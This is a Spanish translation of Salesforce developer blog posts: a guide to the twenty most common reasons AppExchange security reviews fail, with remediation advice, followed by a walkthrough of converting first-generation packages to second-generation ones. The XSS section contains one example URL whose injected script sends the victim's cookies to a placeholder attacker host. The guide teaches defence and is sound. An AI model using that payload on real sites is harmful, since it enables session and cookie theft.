Los cambios de Lightning UI están relacionados únicamente con el estilo visual y no afectan a la plataforma, las características del producto ni la funcionalidad.
The post Lo que los desarrolladores deben saber sobre las mejoras de Lightning UI en la versión Summer ’24 appeared first on Blog de desarrolladores de Salesforce.
Para mantener el valor de la confianza, los desarrolladores deben tener siempre la seguridad en mente, incluso después de pasar la revisión de seguridad de AppExchange.
<p
The post Desarrollo seguro para AppExchange appeared first on Blog de desarrolladores de Salesforce.
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.
Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.
Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.
Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.
El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.
Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.
El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .
Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .
Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.
Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.
Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.
Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.
Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.
Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).
Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.
Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .
Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:
Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:
Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .
Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.
Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.
Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.
Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.
Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .
Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.
En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.
Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.
Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.
Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.
La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.
En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.
En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.
Para páginas de Visualforce:
Para componentes Lightning:
init (para Aura) ,connectedCallback , renderedCallback o constructor .Al realizar llamadas API:
CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.
Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .
Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.
Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.
En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.
Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).
Los motivos por los que su aplicación podría ser susceptible incluyen:
innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:
eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.
Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.
Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.
Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.
Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).
Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.
Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.
Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.
Obtenga más información sobre este problema en nuestra documentación para desarrolladores .
La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.
La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.
Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.
Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .
Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.
Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.
Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.
Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.
Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.
Puede encontrar más información en nuestra documentación para desarrolladores .
Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.
En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).
Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.
Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.
Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).
En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.
Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc
La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.
También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .
Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.
Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.
Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.
Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.
Tiene dos opciones, según su caso de uso, que incluyen:
isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.Más información está disponible en la documentación .
Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:
Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.
La guía OWASP es un gran recurso a seguir.
El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.
Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .
Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.
Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.
Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.
Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.
Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.
OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.
En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:
Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:
Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).
Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.
Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).
Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.
Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.
Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.
Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.
Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.
Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .
Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.
Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.
Añadir a holgura Suscríbete a RSS
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
Han pasado casi cuatro años desde que lanzamos por primera vez el paquete administrado de segunda generación (2GP) , que permite a nuestros socios de AppExchange crear y distribuir soluciones utilizando un modelo de desarrollo basado en CLI, basado en fuente y fácil de automatizar.
Desde entonces, recibimos una gran cantidad de excelentes comentarios de nuestra comunidad de desarrolladores, y continuamos innovando en múltiples áreas relacionadas con la experiencia del desarrollador, el rendimiento, la paridad del tipo de metadatos con el paquete administrado de primera generación (1GP), etc. Cada vez que nos reunimos con desarrolladores de ISV, constantemente escuchamos sobre la necesidad de que Salesforce los ayude a ellos y a sus clientes a pasarse al mundo de 2GP.
¡Hoy, tengo algunas noticias emocionantes para compartir con todos ustedes! Estamos abordando la pregunta n.º 1 de nuestros desarrolladores de ISV al presentar una nueva función: Migraciones de paquetes . En pocas palabras, Package Migrations automatiza por completo el proceso de convertir paquetes 1GP a 2GP y migra sin problemas a los clientes con paquetes instalados a 2GP. Si es un socio ISV que crea paquetes administrados, ¡esta publicación de blog es para usted!
Antes de sumergirnos en los detalles de las migraciones de paquetes, echemos un vistazo a algunos beneficios de usar 2GP para el desarrollo de paquetes.
En el corazón de 2GP se encuentra un modelo de desarrollo basado en fuente, donde un repositorio de código fuente como Git representa la fuente de la verdad para su paquete. Esto es fundamentalmente diferente del mundo de 1GP, donde utiliza una organización de empaquetado para mantener todos los metadatos que desea empaquetar y distribuir a sus clientes.
Este modelo de desarrollo impulsado por la fuente, impulsado por la CLI de Salesforce , puede aumentar drásticamente la productividad y la colaboración de su equipo. Los desarrolladores pueden usar Dev Hub para activar rápidamente organizaciones temporales , crear una función de forma conjunta y comprometerla con el control de código fuente. Cuando esté listo para distribuir una nueva versión de su 2GP, simplemente extraiga la rama correspondiente a una máquina local y use la CLI para crear su nueva versión del paquete.
Es importante destacar que este enfoque basado en CLI también significa que puede integrar fácilmente su proceso de empaque por completo en CI/CD, lo que facilita la automatización completa de su flujo de trabajo. Puede, por ejemplo, ejecutar automáticamente Salesforce Code Analyzer en una base de código y, siempre que no se encuentren problemas, crear una nueva versión del paquete.
En el mundo de 1GP, estabas atrapado usando un espacio de nombres diferente para cada uno de tus paquetes. En 2GP, todos sus paquetes pueden compartir el mismo espacio de nombres, lo que le permite aprovechar un enfoque verdaderamente modular para el desarrollo de paquetes para mantener sus paquetes bien organizados. También es posible declarar explícitamente dependencias entre paquetes , asegurando que todo funcione en conjunto sin problemas.
Con 2GP, también obtiene un control de versiones flexible, lo que le permite abandonar versiones de paquetes que ya no desea utilizar. En su lugar, puede especificar un ancestro de la versión del paquete y crear efectivamente una nueva rama en la que desee continuar con su desarrollo.
Finalmente, apoyar a los clientes nunca ha sido tan fácil con 2GP. En el mundo de 1GP, los parches solo se pueden crear desde una organización de parches. Con el modelo de desarrollo basado en el código fuente de 2GP, puede simplemente crear una versión del paquete de parches directamente desde la CLI y, siempre que el parche cumpla con los requisitos relacionados con los cambios menores y la ascendencia del paquete, se crea y está listo para instalarse en la organización de su cliente.
Dicho todo esto, 2GP puede agregar mucho valor a su proceso de desarrollo. ¡Ahora, averigüemos cómo las Migraciones de paquetes pueden ayudarlo a llegar al mundo de 2GP!
Package Migrations amplía la funcionalidad de 2GP con comandos CLI adicionales y capacidades adicionales para ayudar a los desarrolladores de ISV a realizar una transición completa al mundo de 2GP. Actualmente se encuentra en Developer Preview y está abierto para que todos los desarrolladores de ISV lo prueben en sus paquetes 1GP existentes. ¡Siga leyendo para saber cómo participar en la versión preliminar para desarrolladores!
Hay dos elementos para las migraciones de paquetes: conversión de paquetes y migración de paquetes. 
La conversión de paquetes se inicia a través del nuevo comando sf package convert . Toma una versión específica de su paquete 1GP existente (Acme v1.0 en este ejemplo) y usa algo de magia detrás de escena para convertirlo en una versión de paquete 2GP correspondiente (Acme v1.0.0.1 usando la numeración de versión 2GP).
Una vez que tenga una versión de paquete 2GP convertida, puede migrar clientes a 2GP. Si tiene un suscriptor con Acme v1.0 instalado, iniciaría el proceso tratándolo como una actualización de paquete normal: a través de la CLI con sf package install (ver documentos ), instalación de URL o actualizaciones automáticas.
Mientras intenta instalar su paquete 2GP convertido v1.0.0.1, que coincide con la versión mayor.menor del paquete 1GP instalado en el suscriptor A, ejecutamos una nueva lógica que inicia el proceso de migración del paquete . Sin cambiar ningún metadato en la organización del cliente, y sin requerir la intervención del usuario si usa actualizaciones automáticas, simplemente cambiamos las referencias del paquete para que apunten al nuevo paquete 2GP.
Una vez que un cliente migre a 2GP, cualquier parche o actualización del paquete de este cliente deberá usar 2GP.
Para probar las migraciones de paquetes, debe ser un socio ISV con acceso a la comunidad de socios de Salesforce .
En la Comunidad de socios, encontrará un canal exclusivo para esta versión preliminar para desarrolladores. Le recomendamos que se una a este canal y configure las notificaciones para enviar por correo electrónico cada publicación para recibir las últimas actualizaciones del equipo de Migraciones de paquetes.
En este canal, encontrará una serie de enlaces útiles, incluido un formulario para registrarse en Developer Preview. Necesitaremos algunos detalles, como su ID de organización de empaquetado, para que podamos activar la función Migraciones de paquetes.
Es importante destacar que participar en Developer Preview no tendrá ningún impacto en su paquete de 1GP. Por lo tanto, no se preocupe y participe, ya que sus comentarios son esenciales para ayudarnos a identificar y resolver problemas lo antes posible.
Una vez que esté activado, puede comenzar a probar las migraciones de paquetes.
Muy bien, ¡comencemos! En primer lugar, asegúrese de haber instalado la CLI de Salesforce.
Si lo instaló anteriormente, asegúrese de estar usando la última versión:
sf update
Ahora asegúrese de que está ejecutando dentro del contexto de un proyecto de SalesforceDX. Puedes crear un nuevo proyecto usando:
sf project generate --name <Your project name>
Vincule el espacio de nombres de su 1GP administrado iniciando sesión en su DevHub y siga los pasos .
¡Eso es todo para la configuración! Ahora puede continuar e intentar convertir su paquete.
sf package convert --installation-key mdpTest --package 033xxx --wait 20
Repasemos los parámetros. Estamos utilizando la clave de instalación mdpTest . Será necesario cada vez que intente instalar esta versión del paquete en el futuro. Alternativamente, puede usar --installation-key-bypass para omitir la clave de instalación. Deberá ingresar su ID de paquete 1GP completo comenzando con 033 después de --package . El proceso de conversión puede demorar un poco y, por lo tanto, agregamos la opción --wait para esperar 20 minutos.
A medida que se ejecuta el proceso de conversión, obtendrá una actualización de su estado. Suponiendo que todo salió bien, recibirá un mensaje de éxito con la ID y la URL de instalación para la versión del paquete 2GP recién convertida.
Converting Package... ... Successfully created the package version [08cxxx00000KzFSAA0]. Subscriber Package Version Id: 04txxx00000u1cqAAA
Package Installation URL: https://login.salesforce.com/packaging/installPackage.apexp?p0=04txxx00000u1cqAAA
As an alternative, you can use the "sfdx package:install" command.
¡Felicitaciones, su paquete ahora está convertido a 2GP! Si encontró algún problema en el camino, infórmenos utilizando el formulario en el grupo Comunidad de socios .
Nota: Al momento de escribir esta publicación de blog, este comando convertirá la última versión administrada y lanzada de su paquete. Estamos trabajando para permitirle convertir versiones de paquetes Beta y anteriores. Por otro lado, durante Developer Preview, no es posible promocionar paquetes 2GP convertidos al estado Lanzado.
Ahora que su paquete está convertido, probemos la migración de una organización suscriptora.
Para probar la migración de un suscriptor, deberá crear una organización borrador ya que, durante la versión preliminar para desarrolladores, solo admitimos organizaciones borrador. Puede configurar una nueva organización borrador como esta:
sf org create scratch -f project-scratch-def.json -a MyScratchOrg
En el código anterior, -f apunta a su archivo de definición de organización borrador . Debe asegurarse de que su archivo de definición de organización borrador incluya cualquier función de Salesforce de la que pueda depender su paquete. Finalmente, estamos usando MyScratchOrg como el alias de esta organización.
Con la configuración de la organización borrador, continúe e instale la versión del paquete 1GP que convirtió anteriormente utilizando la URL de instalación que obtiene de su organización de empaquetado 1GP. Esta debería ser su última versión administrada y lanzada en este momento.
Puede confirmar que el paquete se instaló correctamente durante la pantalla de instalación. Vea el ejemplo a continuación.
Y consulte la sección Paquetes instalados del menú Configuración.
Ahora que instaló su 1GP en la organización borrador, está listo para la migración.
